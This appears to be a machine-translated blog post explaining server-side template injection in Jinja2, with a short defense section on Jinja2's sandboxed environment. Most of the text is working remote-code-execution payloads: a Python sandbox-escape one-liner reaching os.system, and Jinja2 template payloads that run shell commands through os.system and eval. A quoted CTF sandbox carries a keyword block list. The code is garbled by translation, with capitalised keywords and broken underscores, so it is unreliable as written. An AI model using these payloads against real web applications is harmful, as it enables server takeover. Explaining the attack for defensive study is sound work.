Execute arbitrary code in the Jinja2 template using the Python feature
Whether the Jinja2 template engine can directly execute the original command in SSTI is not described, and it is also described in the official Jinja2 documentation that the template cannot directly execute any Python code, in this case, it seems impossible to directly control the template content in Jinja2 to execute Python code or commands.
I. complicated code execution methods in templates
Recently, during project development, I accidentally noticed that some Python built-in variables, such as [] {}, can be accessed in the Jinja2 template and some functions in the Python variable type can be used. The sample code is as follows:
# Coding: UTF-8
Import sys
From jinja2 importTemplate
Template = Template ("Your input: {}". format (sys. argv [1] if len (sys. argv)> 1 else ''))
Print template. render ()
For ease of demonstration, the command parameter input is directly spliced into a part of the template content for rendering and output. Here we directly input {'abcd'} To make the template render the string variable directly:
Of course, as mentioned above, you can directly call the function of the variable instance in the template. For example, the upper () function in the string variable converts the string to the full capital form:
So how to execute Python code in the Jinja2 template? The official statement is that you need to register a function in the template environment to call the function in the template. For example, to directly call the built-in module OS in the template, You need to register the function in the template environment, the sample code is as follows:
# Coding: UTF-8
Import OS
Import sys
From jinja2 importTemplate
Template = Template ("Your input: {}". format (sys. argv [1] if len (sys. argv)> 1 else ''))
Template. globals ['OS'] = OS
Print template. render ()
Run the code and input the {OS. popen ('echo Hello RCE '). read () }}because the OSos variable has been registered as the Python OS module in the template environment, you can directly call the module function to execute system commands, here, the execution of the system Command is echoHello Command Exection:
If you run the sample code, an OS-defined exception error is returned:
Ii. Use Python to directly execute arbitrary code
So, how to call the popen () function in the template to execute system commands without registering the OS module? As mentioned above, templates in Jinja2 can access the built-in variables in Python and can call the methods of corresponding variable types, this feature reminds me of a common Python sandbox environment escape method. For example, a Python sandbox in 2014CSAW-CTF bypasses the question. The Environment Code is as follows:
#! /Usr/bin/env python
From _ future _ import print_function
Print ("Welcome to my Python sandbox! Enter commands below! ")
Banned = [
"Import ",
"Exec ",
"Eval ",
"Pickle ",
"OS ",
"Subprocess ",
"Kevin sucks ",
"Input ",
"Banned ",
"Cry sum more ",
"Sys"
]
Targets =__ builtins _. _ dict _. keys ()
Targets. remove ('raw _ input ')
Targets. remove ('print ')
For x in targets:
Del _ builtins _. _ dict _ [x]
While 1:
Print (">>>", end = '')
Data = raw_input ()
For no in banned:
If no. lower () indata. lower ():
Print ("Nobueno ")
Break
Else: # this means nobreak
Exec data
(For details about how to bypass the sandbox restriction by using the Python feature, refer to Writeup). Here we provide the improved PoC:
[C for c in []. _ class __. _ base __. _ subclasses _ () if c. _ name _ = 'catch _ warnings '] [0]. _ init __. func_globals ['linecache']. _ dict _ ['O' + 's']. _ dict _ ['sy '+ 'stem'] ('echo Hello sandbox ')
Of course, this method can not only execute system commands through the OS module, but also perform file read/write operations. Please construct the specific code by yourself.
Return to the question of how to directly execute code in the Jinja2 template, because the template can access the Python built-in variables and variable methods, and can traverse the variables through the Jinja2 template syntax, therefore, the following template Payload can be constructed to achieve the same effect as the above PoC:
{% For c in []. _ class _. _ base _. _ subclasses _ () %}
{% If c. _ name _ = 'catch _ warnings '%}
{C. _ init _. func_globals ['linecache']. _ dict _ ['OS']. system ('id ')}}
{% Endif %}
{% Endfor %}
Using the Payload as the execution parameter of Sample Code 2, the system command id will be executed:
Of course, in addition to traversing and finding the OS module, you can also retrieve the eval function and call it directly, so that you can call complicated Python code.
The original Python PoC code is as follows:
[A for a in [B for B in [c for c in []. _ class __. _ base __. _ subclasses _ () if c. _ name _ = 'catch _ warnings '] [0]. _ init __. func_globals.values () if type (B) = dict] if 'eval' in. keys ()] [0] ['eval'] ('_ import _ ("OS "). popen ("whoami "). read ()')
In Jinja2, the template Payload is as follows:
{% For c in []. _ class _. _ base _. _ subclasses _ () %}
{% If c. _ name _ = 'catch _ warnings '%}
{% For B in c. _ init _. func_globals.values () %}
{% If B. _ class _ =={}. _ class _ %}
{% If 'eval' in B. keys () %}
{B ['eval'] ('_ import _ ("OS"). popen ("id"). read ()')}}
{% Endif %}
{% Endif %}
{% Endfor %}
{% Endif %}
{% Endfor %}
When Payload is used as the execution parameter of example code 2 (note that the quotation marks are escaped), the eval () function is used to dynamically load the OS module and run the following command:
Iii. Ways of exploits and defense methods
SSTI (server template injection ). Using SSTI to control the content of the Web application rendering template (based on Jinja2), remote code (command) execution can be easily performed. Of course, the premise is that the template content is controllable. Although this scenario is not common, it is inevitable that programmers will neglect to have special requirements that allow users to control some of the template content.
In the Jinja2 template, you can use the sandbox environment jinja2.sandbox that comes with Jinja2 to prevent arbitrary code execution by using the Python feature. sandboxedEnvironment, Jinja2 by default, the sandbox environment will check the operated variable attributes when parsing the template content, and will throw an error for unregistered variable attribute access.